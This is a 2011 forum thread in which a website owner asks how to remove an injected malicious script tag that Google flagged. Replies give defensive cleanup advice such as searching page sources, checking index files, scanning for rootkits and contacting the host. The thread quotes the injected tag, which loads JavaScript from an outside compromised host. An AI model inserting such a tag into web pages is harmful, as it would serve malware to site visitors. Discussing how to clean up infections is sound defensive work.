Help i need to find this malware on my website ASAP!!!

Discussion in 'HTML & Website Design' started by dubs89, Mar 9, 2011.

  1. #1
    Google webmasters says this line of code is on my site causing it to give a Reported Attack Site! error when i try and go to it:

    <script type="text/javascript" src="http://republikainfo.com
    /templates/beez5/javascript/html.js">

    Where would i find this code to delete it? Please help i got no idea were to begin to look!
     
    dubs89, Mar 9, 2011 IP
  2. artus.systems

    artus.systems Well-Known Member

    Messages:
    87
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    103
    #2
    You need to search inside the page in your site (maybe in index)
     
    artus.systems, Mar 9, 2011 IP
  3. itz

    itz Active Member

    Messages:
    371
    Likes Received:
    4
    Best Answers:
    0
    Trophy Points:
    60
    #3
    Hello .

    i'm also having same problem , I found the code in online sources code but it's a invisible when i tried to delete via the dreamviewer
     
    itz, Mar 9, 2011 IP
  4. infogle

    infogle Prominent Member

    Messages:
    2,732
    Likes Received:
    128
    Best Answers:
    1
    Trophy Points:
    300
    #4
    Where do you find this code on your home page of your site? is your site simple HTML or its some CMS?

    do let me know
     
    infogle, Mar 9, 2011 IP
  5. vishal6565477

    vishal6565477 Peon

    Messages:
    18
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Just perform a search in all pages of your site. I use Expression Web and it has a option to search in source code of all pages of my site. can you put a url of your site here?
     
    vishal6565477, Mar 11, 2011 IP
  6. Bret

    Bret Guest

    Messages:
    26
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    The most common place will be index.html or index.php or whichever the main page of your site will be (home.php / main.php or html for example)
     
    Bret, Mar 11, 2011 IP
  7. SSC

    SSC Active Member

    Messages:
    995
    Likes Received:
    10
    Best Answers:
    0
    Trophy Points:
    80
    #7
    I think you need to look for this file under your ftp: html.js

    ""http://republikainfo.com
    /templates/beez5/javascript/html.js""

    Under your hosting control panel you can find the option which says 'File Manager'
     
    SSC, Mar 11, 2011 IP
  8. PsyHost

    PsyHost Well-Known Member

    Messages:
    641
    Likes Received:
    7
    Best Answers:
    0
    Trophy Points:
    110
    #8
    there are multiple ways this code can be injected into your website, Firstly If it is a dedicated server or vps you should check all your webserver configs to confirm that they haven't been modified, run a RKHUNTER scan to see if you're server has a rootkit of any kind.

    If your website is on a shared hosting account sumbit a ticket and ask them to look into it, As it again could be an exploited machine.. if they come back with nothing then its down to the boring bits.

    Also, keep in mind that alot of hacks will be encrypted, So look for anything that contains weird code and remove it (unless inserted by yourself), there are a few "themes" for WP/magento/other CMS & stores that are infact infected prior to release to include malware/spam links, So another thing you may need to look at!
     
    PsyHost, Mar 11, 2011 IP